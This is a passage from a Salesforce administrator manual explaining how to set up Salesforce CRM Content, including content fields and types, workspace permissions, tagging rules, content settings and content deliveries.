and votes. Custom report types are the only way to make idea reports available for your users—Salesforce.com does not provide
sample idea reports or a standard report folder for ideas.
To create a folder of idea reports for your users:

1. Create a custom report type for ideas. For details, see Setting Up Custom Report Types on page 2211.
If you create a custom report type that uses Ideas as the primary object and Votes as the secondary object, child (merged)
ideas will not appear in the report unless you select "A" records may or may not have related "B" records.
Child ideas have no votes because their votes are transferred to the master idea. This means child ideas do not appear in
a report if the Votes object is required.
2. Create a new public folder for idea reports. This step requires the “Manage Public Reports” permission. For details, see
Creating and Editing Folders on page 1061.

1153
Customize Customizing Salesforce CRM Content

3. Using your custom report type, create one or more new custom reports for ideas. Assign the reports to the new idea reports
folder you created. For details, see Creating a Custom Report on page 2139.

After completing these steps, a folder of idea reports will be available to your users on the Reports home page.

See Also:
Ideas Overview
Managing Salesforce CRM Ideas

SALESFORCE CRM CONTENT

Customizing Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete content fields: “Manage Content Properties”
OR
“Manage Salesforce CRM Content”

To define or change field validation rules: “Customize Application”


To create, edit, or delete content types: “Manage Content Types”
OR
“Manage Salesforce CRM Content“

To create, edit, or delete workspace permissions: “Manage Content Permissions”


OR
“Manage Salesforce CRM Content”

Modify content settings: “Manage Salesforce CRM Content”

Click Setup ➤ Customize ➤ Salesforce CRM Content to access the following options for customizing Salesforce CRM
Content:
Tip: To perform the initial set up of Salesforce CRM Content for your organization, see Setting Up Salesforce CRM
Content on page 1156.

1154
Customize Customizing Salesforce CRM Content

• Content Fields—Create, edit, or delete custom content fields. Custom fields allow users to categorize and define content
during the publishing process.
• Validation Rules—Create, edit, or delete validation rules. Validation rules verify that the data a user enters when publishing
content meets the standards you specify before the user can save the content.
• Content Types—Create, edit, or delete the content type where content fields are assigned. The content type determines
the layout of fields in Salesforce CRM Content.
• Workspace Permissions—Create, edit, or delete workspace permissions. A workspace permission determines user privileges
within a workspace.
• Settings—Modify Salesforce CRM Content default settings for multi-language support, PDF downloads, content pack
creation, custom presentation assembly, or the enhanced document viewer.

To create, edit, or delete workspaces, assign a new user to a workspace, or change a user's role in a workspace, see Managing
Workspaces on page 263.

See Also:
Creating Workspaces
Salesforce CRM Content Overview

1155
Customize Setting Up Salesforce CRM Content

Setting Up Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete workspace permissions: “Manage Content Permissions”
OR
“Manage Salesforce CRM Content”

To create, edit, or delete content types: “Manage Content Types”


OR
“Manage Salesforce CRM Content”

To create content fields: “Manage Content Properties”


OR
“Manage Salesforce CRM Content”

To create workspaces: “Create Workspaces”


OR
“Manage Salesforce CRM Content”

To edit or delete workspaces: “Manage Salesforce CRM Content”

Tip:
For more detailed information about setting up Salesforce CRM Content, refer to the Salesforce CRM Content
Implementation Guide.

To set up Salesforce CRM Content for your organization:

1. Enable Salesforce CRM Content by clicking Setup ➤ Customize ➤ Salesforce CRM Content ➤ Settings and selecting
Enable Salesforce CRM Content.
2. Give users access to Salesforce CRM Content by assigning feature licenses in one of the following ways:

• To assign feature licenses to users automatically, click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Settings
and select Autoassign feature licenses to existing and new users.
• To assign feature licenses to users manually, click Setup ➤ Manage Users ➤ Users and click Edit next to the user's
name. Select the Salesforce CRM Content User checkbox and click Save.

3. Verify that the profile assigned to Salesforce CRM Content users has the Salesforce CRM Content user permissions
enabled. The user permissions include “Manage Salesforce CRM Content,“Create Workspaces,” “Manage Content
Permissions,” “Manage Content Properties”,“Manage Content Types”, and “Deliver Uploaded Files and Personal Content.”
For more information about these user permissions, see Administrative and General Permissions on Profiles on page 475.

1156
Customize Setting Up Salesforce CRM Content

Note: Users with the “Deliver Uploaded Files and Personal Content” user permission can create content deliveries
from personal workspaces. This user permission does not affect the ability to deliver content from shared workspaces.

4. Optionally, create a public group with a set of Salesforce CRM Content users. You can save time later by assigning the
group to a workspace rather than assigning several users to the same workspace individually. See Creating and Editing
Groups on page 496.
5. Optionally, create one or more workspace permissions. Workspace permissions are the groups of privileges that determine
user access within a workspace. Every user must be assigned a workspace permission before he or she can use a workspace.
All new organizations contain three workspace permissions: workspace administrator, author, and viewer. For more
information, see Managing Workspace Permissions on page 1163.
6. Use the New Workspace Wizard to create a workspace, add members to the workspace, and assign workspace permissions
to the members. See Creating Workspaces on page 1171.
7. Categorize and define your content:

a. Create content fields. These are custom fields that you assign to a content type. The default fields are Description,
Tags, and Title. If you want to create a field named, for example, Reviewed By, your custom content field would
be a picklist with the names of possible reviewers. See Customizing Content Fields on page 1158.
b. Create a custom content type or modify the General content type. Content types are the containers for custom fields;
they determine which fields are available during the publishing process and how the fields display on the content details
page. You can create multiple content types and assign a content field to any or all content types. For example, if sales
and marketing users need to record different information about their content, you can create Sales and Marketing
content types. If you create a Related Campaign lookup field and add it to the Marketing content type only, users
who select the Sales content type during the upload process will not have the option to choose a campaign. See Setting
Content Types on page 1159.

8. Optionally, enable the Add Google Doc to Salesforce.com service so workspace members can contribute Google docs to
Salesforce CRM Content. See Activating Google Docs in Salesforce.com on page 302.

To customize Salesforce CRM Content after initial configuration, such as adding new content fields or editing workspace
permissions, see Customizing Salesforce CRM Content on page 1154.

See Also:
Customizing Content Fields
Setting Content Types
Managing Workspace Permissions

1157
Customize Customizing Content Fields

Customizing Content Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete custom fields: “Manage Salesforce CRM Content”
OR
“Manage Content Properties”

Click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Fields to create, modify, and delete Salesforce CRM Content
custom fields for categorizing and defining your content. The data assigned to these fields during upload is available on the
content details page for the life of the file. After creating custom content fields, you must assign them to a content type. The
content type determines which fields appear when a user uploads or revises files in Salesforce CRM Content. For more
information, see Setting Content Types on page 1159.
To create a custom content field:

1. Click New in the Custom Fields & Relationships related list.


If you need to create dependent fields, see Defining Dependent Picklists on page 804.
2. Choose the type of field to create, and click Next.
Note:

• Some data types are only available for certain configurations. For example, the Master-Detail Relationship
option is available only for custom objects when the custom object does not already have a master-detail
relationship. Also, custom settings only allow a subset of the available data types.
• Relationship fields count towards custom field limits.
• Field types not listed in custom field types may appear if your organization installed a package from the
AppExchange that uses those custom field types.
• The Roll-Up Summary option is only available on certain objects.
• Field types correspond to API data types. For more information, see “API Data Types and API Field Types”
in the Web Services API Developer's Guide.

3. For relationship fields, choose the object that you want to associate with it.
4. Enter a field label.
The field name is automatically populated based on the field label you enter. This name can contain only underscores and
alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end
with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links,
custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge
Fields on page 414.
Tip: Ensure the custom field name is not identical to any standard field name for that object. If a custom field
and standard field have the same name and you reference that name in a merge field, the merge field displays the
value of the custom field.

1158
Customize Setting Content Types

5. Choose the content type that should display the field as an editable field.
6. For relationship fields, choose whether to create a related list that displays information about the associated records. You
can choose to put the related list on any page layouts for that object.
To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related
List Label.

To add the new related list to page layouts that users have already customized, check Append related list to
users’ existing personal customizations.

Click Edit or Del in the Content Custom Fields & Relationships related list to edit or delete a custom content field. You
cannot edit or delete the standard content fields. Salesforce.com stores deleted custom fields and their data until your organization
permanently deletes them or 45 days has elapsed, whichever happens first. Until that time, you can restore the field and its
data. For information on restoring deleted custom fields and relationships, see Managing Deleted Custom Fields on page 842.

See Also:
Setting Content Types
Customizing Salesforce CRM Content

CONTENT TYPES

Setting Content Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete content types: “Manage Content Types”
OR
“Manage Salesforce CRM Content”

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a workspace, users select a content type after contributing files, content packs, Google docs, or Web links.
To work with content types, click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Content Types. You can:

• Click New to create content types; see Creating Content Types on page 1160.
• Click Edit to edit content types; see Editing Content Types on page 1161.
• Click Del to delete a content type.
• Click picklists to modify the picklists on any content type. Picklists are customized selection lists that allow users to pick
values from a predefined list of entries.

1159
Customize Creating Content Types

When editing a workspace, you can choose which content types are visible to workspace contributors. For more information,
see Restricting Content Types on page 1174.

See Also:
Customizing Content Fields
Customizing Salesforce CRM Content

Creating Content Types


Available in: Contact Manager, Group, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create content types: “Manage Content Types”
OR
“Manage Salesforce Content”

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a workspace, users select a content type after contributing files, content packs, Google docs, or Web links.
To create a new content type:

1. Click Setup ➤ Customize ➤ Salesforce Content ➤ Content Types.


2. Click the New button, and then optionally choose a content type to copy.
Alternatively, select an existing content type from the list of content types, and then click the Clone button.
3. Enter a name for the new content type.
4. Click Save.

For instructions on modifying the content type, see Editing Content Types on page 1161.
Note: When editing a workspace, you can choose which content types are visible to workspace contributors. For more
information, see Restricting Content Types on page 1174.

See Also:
Setting Content Types
Customizing Content Fields

1160
Customize Editing Content Types

Editing Content Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit content types: “Manage Content Types”
OR
“Manage Salesforce Content”

Content types control the organization and visibility of fields on Salesforce CRM Content upload and detail pages.
To edit a content type:

1. Click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Content Types.


2. Identify the content type you want to modify and click Edit.
3. To arrange fields on the content type, select one or more fields from the box on the right and drag them to the desired
location.

• Use CTRL+click to select multiple items individually.


• Use SHIFT+click to select multiple items as a group.
• Items that are not in the content type are displayed in the scrolling box on the right-hand side.

Note: Use the legend to determine what fields are required, dependent, controlling, or have other attributes that
may affect your content type decisions.

4. To make a field required, double-click the field name in the box on the left and click the Required checkbox.
Note: Even though the Read Only option appears, Salesforce CRM Content fields cannot be read only.

5. Click Save to finish. Alternatively, click Quick Save to save and continue editing the content type.

See Also:
Setting Content Types
Creating Content Types

1161
Customize Customizing Content Picklists

Customizing Content Picklists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change picklists: “Customize Application”

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. A picklist is a customized
selection list that allows users to pick values from a predefined list of entries. To create a new picklist, see Customizing Content
Fields on page 1158. To modify the picklists available on content types:

1. Go to Setup ➤ Customize ➤ Salesforce CRM Content ➤ Content Types and click the picklists link.
2. Select a content type and click Edit next to one of the picklist fields to customize the values included for the content type.
3. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to
choose from the list of selected values when publishing content or editing content details.
4. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent picklist
is ignored.
5. Click Save.

Note: The master picklist, the complete list of values in a picklist, is independent of all content types. If you add a
picklist value to the master picklist, you must manually include the new value in the appropriate content types. If you
remove a picklist value from the master, it is no longer available when publishing new content; however, existing
content assigned to that value is unchanged.

See Also:
Setting Content Types
Editing Content Types
Customizing Content Fields

1162
Customize Managing Workspace Permissions

WORKSPACES

Managing Workspace Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete workspace permissions: “Manage Salesforce CRM Content”
OR
“Manage Content Permissions”

Click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Workspace Permissions to manage workspace permissions. A
workspace permission is a group of privileges assigned to each Salesforce CRM Content workspace member. It determines
which tasks a member can perform in a particular workspace. The same user can have a different workspace permission in
each of his or her workspaces.
Note: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already
has three workspace permissions: Workspace Administrator, Author, and Viewer.

To create a custom workspace permission, click the Add Workspace Permissions button. To edit a workspace permission,
click Edit next to the workspace permission name. To delete a workspace permission, click Del next to the workspace permission
name.
Note: Workspace permissions do not apply to personal workspaces. All Salesforce CRM Content users can save files
in their personal workspaces.

See Also:
Customizing Salesforce CRM Content
Setting Up Salesforce CRM Content

1163
Customize Creating Workspace Permissions

Creating Workspace Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create workspace permissions: “Manage Salesforce CRM Content”
OR
“Manage Content Permissions”

To create a workspace permission in Salesforce CRM Content, click Setup ➤ Customize ➤ Salesforce CRM Content ➤
Workspace Permissions and click Add Workspace Permissions.
Tip: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already
has Viewer, Author, and Workspace Administrator workspace permissions. If not, consider creating them. These
three workspace permissions provide the different levels of workspace access required for most organizations. For the
“Viewer” workspace permission, select the View Comments and Add Comments workspace privileges. For the
“Author” workspace permission, select the Add Content, Add Content on Behalf of Others, Archive
Content, Add Comment, and Tag Content workspace privileges. For the “Workspace Administrator” permission,
select the Manage Workspace privilege.

1. Assign a name to the workspace permission.


2. Optionally, enter a description of the workspace permission. If your organization has several workspace permissions,
consider describing each by its function or with a summary of its privileges. For example, for a “Marketing Reviewer”
permission you might include a description that reads, “Reviews all content used in outbound marketing campaigns” or
“This user can view and comment on documents.”
3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this
workspace permission.

Workspace Privilege Description


Manage Workspace Perform any action in the workspace. This privilege is
required to edit the workspace's name and description, add
or remove workspace members, or delete a workspace.
Creating a new workspace requires the “Manage Salesforce
CRM Content” or “Create Workspaces” user permissions.

Add Content Publish new content to the workspace, upload new content
versions, or restore archived (deleted) content. Content
authors can also change any tags associated with their content
and archive or delete their own content.
Add Content on Behalf of Others Choose an author when publishing content in the workspace.
Archive Content Archive and restore any content in the workspace.

1164
Customize Editing Workspace Permissions

Workspace Privilege Description


Delete Content Delete any content in the workspace. Authors can undelete
their own content from the Recycle Bin.
Feature Content Identify any content in the workspace as “featured.”
View Comments Read comments posted to any content in the workspace.
Add Comments Post comments to any content in the workspace and view
all comments in the workspace. Users can edit or delete their
own comments.
Modify Comments Edit or delete comments made to any content in the
workspace.
Tag Content Add tags when publishing content or editing content details
in the workspace.
Deliver Content Create a content delivery using any files in the workspace.
Post Content to Chatter Feeds Make content from this workspace accessible on Salesforce
Chatter feeds. From a Chatter feed, users can select a file
from a workspace they are a member of and post it to the
feed.

4. Click Save.

See Also:
Managing Workspace Permissions
Deleting, Archiving, and Restoring Content
Customizing Salesforce CRM Content

Editing Workspace Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit workspace permissions: “Manage Salesforce CRM Content”
OR
“Manage Content Permissions”

To edit a Salesforce CRM Content workspace permission, click Setup ➤ Customize ➤ Salesforce CRM Content ➤
Workspace Permissions and click Edit next to the appropriate permission.

1165
Customize Editing Workspace Permissions

1. Assign a name to the workspace permission.


2. Optionally, enter a description of the workspace permission. If your organization has several workspace permissions,
consider describing each by its function or with a summary of its privileges. For example, for a “Marketing Reviewer”
permission you might include a description that reads, “Reviews all content used in outbound marketing campaigns” or
“This user can view and comment on documents.”
3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this
workspace permission.

Workspace Privilege Description


Manage Workspace Perform any action in the workspace. This privilege is
required to edit the workspace's name and description, add
or remove workspace members, or delete a workspace.
Creating a new workspace requires the “Manage Salesforce
CRM Content” or “Create Workspaces” user permissions.

Add Content Publish new content to the workspace, upload new content
versions, or restore archived (deleted) content. Content
authors can also change any tags associated with their content
and archive or delete their own content.
Add Content on Behalf of Others Choose an author when publishing content in the workspace.
Archive Content Archive and restore any content in the workspace.
Delete Content Delete any content in the workspace. Authors can undelete
their own content from the Recycle Bin.
Feature Content Identify any content in the workspace as “featured.”
View Comments Read comments posted to any content in the workspace.
Add Comments Post comments to any content in the workspace and view
all comments in the workspace. Users can edit or delete their
own comments.
Modify Comments Edit or delete comments made to any content in the
workspace.
Tag Content Add tags when publishing content or editing content details
in the workspace.
Deliver Content Create a content delivery using any files in the workspace.
Post Content to Chatter Feeds Make content from this workspace accessible on Salesforce
Chatter feeds. From a Chatter feed, users can select a file
from a workspace they are a member of and post it to the
feed.

1166
Customize Deleting Workspace Permissions

4. Click Save.

See Also:
Creating Workspace Permissions
Deleting, Archiving, and Restoring Content
Customizing Salesforce CRM Content

Deleting Workspace Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete workspace permissions: “Manage Salesforce CRM Content”
OR
“Manage Content Permissions”

To delete a customized workspace permission for Salesforce CRM Content:

1. Click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Workspace Permissions.


2. Click Del next to the appropriate permission.
3. Review the list of affected users. The delete page shows all Salesforce CRM Content users who are assigned to the workspace
permission in a particular workspace. If you delete the workspace permission, the user will lose access to that workspace.
4. Click Delete Permission to confirm.

To assign a new workspace permission to a workspace member, see Viewing and Editing Workspaces on page 265.

See Also:
Managing Workspace Permissions
Creating Workspace Permissions
Customizing Salesforce CRM Content

1167
Customize Customizing Content Settings

Customizing Content Settings


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Salesforce CRM Content settings: “Manage Salesforce CRM Content”

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

Click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Settings to modify the defaults for your Salesforce CRM Content
organization:
Enable Salesforce CRM Content
If this option is checked, Salesforce CRM Content is enabled for your organization.

Autoassign feature licenses to existing and new users


If this option is checked, Salesforce.com automatically attempts to assign Salesforce CRM Content feature licenses to
all existing users. If there aren't enough licenses available, no licenses are assigned. Contact salesforce.com to request
additional feature licenses. When a new user is created, a Salesforce CRM Content feature license is automatically
assigned as long as licenses are available. A feature license corresponds to the Salesforce CRM Content User
checkbox on the user detail page.

Enable multilanguage search and contribute


If this option is checked, a Language drop-down list is available when users publish, edit, or search for content. The
Language drop-down list contains all languages that Salesforce.com supports.

If a user does not choose a language when publishing content, that content is associated with the user's personal language
by default. If the user's personal language setting is different from the organization's language, content published by that
user is associated with the user's language, not the organization's language.

Do not open PDFs in a separate window


If this option is checked, downloaded PDFs open inline. If it is not checked, downloaded PDFs open in a separate
window. To download a PDF file:

• Open the document's content details page and click Download.


• On the Content tab, hover over the PDF icon and click Download in the popup window.
• On the Content tab, select the PDF's checkbox and click Download.

Enable content pack creation


If this option is checked, the Create New ➤ Content Pack option displays on the Workspaces tab and users can create
content packs from any documents or files in their Salesforce CRM Content private or public workspaces.
If this option is unchecked after users in your organization have already created content packs, those packs are not deleted
and users can continue to modify metadata such as description, title, and custom fields. However, once content pack

1168
Customize Customizing Content Settings

creation is no longer enabled, users cannot customize or modify existing packs. Specifically, the Clone & Customize
button and the Edit ➤ Edit Content Pack option on the content details page are unavailable.

Enable presentation assembly


If this option is checked, the Create New ➤ Presentation option displays on the Workspaces tab and users can assemble
custom presentations from PowerPoint files in their Salesforce CRM Content private or public workspaces.
If this option is unchecked after users in your organization have already created custom presentations, those presentations
are not deleted and users can continue to modify metadata such as description, title, and custom fields. However, once
presentation assembly is no longer enabled, users cannot customize or modify existing presentations. Specifically, the
Clone & Customize button and the Edit ➤ Edit Presentation option on the content details page are unavailable.

Enable enhanced document viewer


If this option is checked, an enhanced set of navigation and customization options are available for the document viewer.
The document viewer allows users to view a document without downloading, whether the document be a content delivery
sent to a lead, prospect, or colleague, or a document viewed internally in Salesforce CRM Content. The document viewer
has three modes: the Preview tab on the content details page (preview mode), the content delivery URL (delivery mode),
and full screen mode, which displays when you click the full-screen option on the content details page or in a content
delivery. The Enhanced document viewer setting provides the following capabilities to users who are viewing
documents:

• In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document
toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous
Page. The right-click menu is not available in preview mode.
• You can jump directly to a page by entering the page number and clicking Enter. This option is not available in
full-screen mode.
• From the right-click menu you can choose the Fit Width option to expand the width of the document or the Fit
Full Page option to view the whole page of the document. The fit width icon ( ) and fit full page icon ( ) are also
available on the toolbar.
• From the right-click menu you can choose the Full Screen option to view the document in full screen mode or the
Exit option to exit full screen mode. The full screen icon ( ) and exit icon ( ) are also available on the toolbar.
• From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are also
available on the toolbar.
• You can use the scroll bar to move continuously through a document without needing to click the Next Page and
Previous Page icons. Continuous scrolling is not available in preview mode or for PowerPoint documents in any
mode.
• You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer
and use the keys as follows:

- Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document
forward one page.
- Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document
backward one page.
- Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document
up the page.
- Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document
down the page.

1169
Customize Customizing Content Settings

Navigating with keyboard-arrow keys is not available in preview mode.

Enable Office 2007 previews in Content—Pilot


If this option is checked, Microsoft Office 2007 files, including PowerPoint, Word, and Excel can be previewed in their
entirety. In Salesforce CRM Content you do not need to download a large document to determine if its content is
relevant to you. The content details page provides document details at a glance, including document title, author,
description, tags, workspaces, comments, votes, versions, subscribers, and downloads. If the document is a Microsoft
PowerPoint, Word, Excel, or Adobe® PDF file, you can preview the entire file in your browser without downloading
it. Some Microsoft Office 2007 features don't display correctly in previews. Copy-protected PDFs can't be previewed.
Note: If this option is unchecked after Office 2007 previews have been generated, those previews will no longer
be available.

See Also:
Customizing Salesforce CRM Content
Uploading and Publishing Content
Viewing and Editing Content Details
Searching for Content

1170
Customize Creating Workspaces

Creating Workspaces
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create workspaces: “Manage Salesforce CRM Content”
OR
“Create Workspaces”

To add members to a workspace: “Manage Salesforce CRM Content”


OR
Manage Workspace checked in your workspace permission
definition

To assign workspace permissions to members: “Manage Salesforce CRM Content”


OR
Manage Workspace checked in your workspace permission
definition

Adding a new workspace in Salesforce CRM Content includes creating the workspace name and description, adding members
to the workspace, and assigning workspace permissions that determine each member's privileges within the workspace.

Step 1: Creating a New Workspace


1. Click New in the My Workspaces section of the Workspaces tab home page.
2. Enter a name for the workspace. Each workspace in your organization must have a unique name.
3. Optionally, enter a description for the workspace.
4. Click the Save and Add Members button or, if you want to add members later, click the Save and Close button.

Step 2: Adding Workspace Members


1. If you do not immediately see the member you want to add, enter keywords in the search box and click Find.
2. Select members from the Available Members box. Members can include individual Salesforce CRM Content users or
public groups containing Salesforce CRM Content users.
Tip: If you have a large number of Salesforce CRM Content users, create a public group and add the group to a
workspace rather than adding users to the workspace individually.

3. Click Add to add the members to the workspace.


4. Click Next.

1171
Customize Assigning Workspace Tagging Rules

Step 3: Assigning Workspace Permissions to Members


Select a workspace permission for each user or public group and click Save. For more information, see Managing Workspace
Permissions on page 1163.

See Also:
Managing Workspaces
Viewing and Editing Workspaces
Salesforce CRM Content Overview

Assigning Workspace Tagging Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign a tagging rule to a workspace: “Manage Salesforce CRM Content”
OR
Manage Workspaces checked in your workspace permission
definition

In Salesforce CRM Content, tags are descriptive labels that help classify and organize content. Contributors can assign tags
to their files, content packs, Google docs, or Web links, thus enabling all workspace members to browse for content by tag.
The tagging rule in a workspace determines how contributors can tag content; for example, the restricted-tagging rule does
not allow contributors to create new tags. Workspace tagging rules are optional. By default, workspace contributors can enter
any tag.
To assign a tagging rule to a workspace:

1. On the Workspaces tab, select a workspace from the My Workspaces area.


2. Click Tagging Rules and choose one of the following options:

Workspace Tagging Rule Description


Open Tagging This rule places no restrictions on tagging. Contributors can
enter any tag when publishing or editing content. While a
tag is typed, Salesforce CRM Content autosuggests tags
based on the contributor's recently used tags and the Popular
Tags list.
Guided Tagging This rule also enables contributors to enter any tag when
publishing or editing content, but contributors are also
offered a list of suggested tags. If you select Guided Tagging,
the next step prompts you to enter the suggested tags that
you want to recommend to workspace contributors.

1172
Customize Assigning Workspace Tagging Rules

Workspace Tagging Rule Description


Restricted Tagging This rule requires contributors to choose from the list of
suggested tags. If you select Restricted Tagging, the next
step prompts you to enter the list of suggested tags.

3. If you chose Guided Tagging or Restricted Tagging, click the link for auto-populating the Suggested Tags field and
then edit, add, or remove tags as needed. If you do not auto-populate the Suggested Tags field, any new tags you enter
in the field are added to the existing list of suggested tags in the workspace.
4. Click Save.

Notes on Workspace Tagging Rules


• Open Tagging is the default tagging rule.
• If you publish, share, or move content to a workspace that uses restricted tags, you will receive an error if your content
contains unsupported tags.
• When you share content from one workspace to another, the most restrictive tagging rule applies. For example:
- When content is shared between a restricted-tagging workspace and a guided- or restricted-tagging workspace, you
can only choose tags that are common to both workspaces.
- When content is shared between an open tagging workspace and a restricted-tagging workspace, you can only choose
tags suggested in the restricted-tagging workspace.

• If a restricted tagging rule is applied after content has already been published in the workspace and the existing content
contains tags that are no longer permitted by the rule, the tags remain assigned to the content until it is edited or revised.
For example, if the Q3Forecast document has a market indicators tag and market indicators is not a
suggested tag according to the new restricted-tagging rule, market indicators is removed from Q3Forecast only
when a user publishes a new version of the file or edits the file's tags on the content details page.
• Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and
subscribe. Therefore, excessive tagging creates unnecessary clutter.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters.
The case of the original tag is always used.

See Also:
Viewing and Editing Workspaces
Creating Workspaces

1173
Customize Restricting Content Types

Restricting Content Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To restrict content types: “Manage Content Types”
OR
“Manage Salesforce CRM Content”

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a workspace, users select a content type after contributing files, content packs, Google docs, or Web links.
Administrators can create content types in Setup and then choose which content types are available in a particular workspace.
Administrators can also choose the default content type for a workspace.
To restrict the content types available in a workspace:

1. On the Workspaces tab, select a workspace from the My Workspaces area.


2. Click Content Types.
3. Optionally, change the default content type for the workspace.
4. Select the Restrict the content types available in the workspace checkbox.
5. Select one or both of the following options:

• Allow content with any content type to be linked to this workspace—Select this option if you
want to enable content published in other workspaces to be shared to the workspace where you have restricted content
types. The content in other workspaces can be shared regardless of the content types used.
• Do not apply content type restrictions to existing content—Select this option if you do not want
to receive warnings regarding existing content in the workspace. You will not be alerted if existing content uses content
types that you exclude from the workspace. This option refers to notifications only; existing content is not affected by
restricted content types.

6. For each content type that you want to allow in the workspace, move it from the Available Content Types list to the
Selected Content Types list.
7. Click Save.

Notes on Restricting Content Types


• If the workspace already contains published content, selecting the Restrict the content types available in
the workspace option automatically moves all the content types used by the published content to the Selected Content
Types list.
• Deselecting the Restrict the content types available in the workspace option automatically moves any
content types in the Selected Content Types list to the Available Content Types list.
• If you restrict content types, the default content type must be added to the Selected Content Types list.
• When changing a file's managing workspace, the file's content type must be permitted in the new managing workspace.

1174
Customize Setting up Content Deliveries

• When sharing a file into a workspace, the file's content type must be permitted in the shared workspace unless the Allow
content with any content type to be linked to this workspace option is selected for the shared
workspace.

See Also:
Viewing and Editing Workspaces
Setting Content Types
Creating Workspaces

Setting up Content Deliveries


Available in: All Editions

User Permissions Needed


To enable or disable content deliveries: “Customize Application”

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

A content delivery allows you to easily convert documents such as Microsoft® PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only. Content deliveries can
be created from the Content Deliveries related list on most Salesforce.com objects. Salesforce CRM Content users can also
create a content delivery from the content details page or the Related Content related list.
To enable or disable content deliveries for your organization:

1. Click Setup ➤ Customize ➤ Content Deliveries ➤ Settings and select or deselect the Enable content deliveries
checkbox. If you do not have access to the Content Delivery feature, contact Salesforce.com Customer Support to activate
it.
2. If you are enabling content deliveries and want recipients to be able to preview Office 2007 files, first select the Enable
Office 2007 previews in content checkbox from Setup ➤ Customize ➤ Salesforce CRM Content ➤ Settings,
and then select the Enable recipients to preview Office 2007 content deliveries checkbox from Setup
➤ Customize ➤ Content Deliveries ➤ Settings. Some Microsoft Office 2007 features don't display correctly in previews.
3. Choose a default option for content-delivery passwords. If you choose to require a password, users who create a content
delivery receive a password when the delivery is generated; users must send the password and the delivery URL to delivery
recipients. Delivery recipients are prompted for the password when they click the content-delivery URL:

• Password protection is optional and defaults to OFF—If this option is selected, users can choose to require a password
when they create a content delivery, but the Require Password to Access Content field on the create-delivery
wizard is not checked by default.

1175
Customize Setting up Content Deliveries

• Password protection is optional and defaults to ON—If this option is selected, the Require Password to Access
Content field on the create-delivery wizard is checked by default. Users can uncheck the option if they do not want
to require a password.
• Password protection is required—If this option is selected, a password is generated each time a content delivery is
created. Users cannot opt out of the password requirement.
Note: Content-delivery passwords display with the content-delivery URL when the delivery is created. You
can also access the password on the delivery detail page for the life of the content delivery.

When content delivery is enabled, all users should add the Content Deliveries related list to their page layouts for leads, business
accounts, contacts, opportunities, cases, campaigns, or custom objects. All Salesforce CRM Content users will see a Deliver
Content option on each content details page. For detailed instructions on creating a content delivery, see Creating Content
